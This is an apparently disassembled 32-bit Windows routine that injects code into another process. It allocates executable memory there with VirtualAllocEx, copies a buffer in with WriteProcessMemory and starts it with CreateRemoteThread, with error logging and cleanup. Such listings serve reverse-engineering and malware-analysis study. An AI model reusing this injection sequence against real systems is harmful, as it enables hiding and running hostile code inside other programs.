mov ebx, dword [esp + 0x2c]
mov edx, dword [esp + 0x18]
add esp, 8
push 0x40
push 0x3000
push ebx
push 0
push edx
mov edi, eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
jne 0x408568
mov eax, dword [esp + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
jmp 0x40861d
mov edx, dword [esp + 0x10]
push 0
push ebx
push edi
push esi
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
mov eax, dword [esp + 0x10]
je 0x40764c
push 0
push 0
push 0
push esi
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
jne 0x408624
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x43aadc
lea ecx, [esp + 0x1d8]
push 0x400
push ecx
call fcn.0041d516
push 0x43a980
lea edx, [esp + 0x1e4]
push edx
push 0x43aaf0
push 3
call fcn.00402eb0
mov ecx, eax
add esp, 0x20
lea edi, [ecx + 1]
lea ecx, [ecx]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x4085e0
push eax
mov eax, dword [ebp + 8]
sub ecx, edi
push eax
mov edi, ecx
call fcn.00412810
mov ecx, dword [esp + 0x18]
add esp, 8
push 0x8000
push 0
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov edx, dword [esp + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
mov eax, dword [esp + 0x10]
push eax
call esi
mov eax, 1
mov ecx, dword [esp + 0x6dc]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret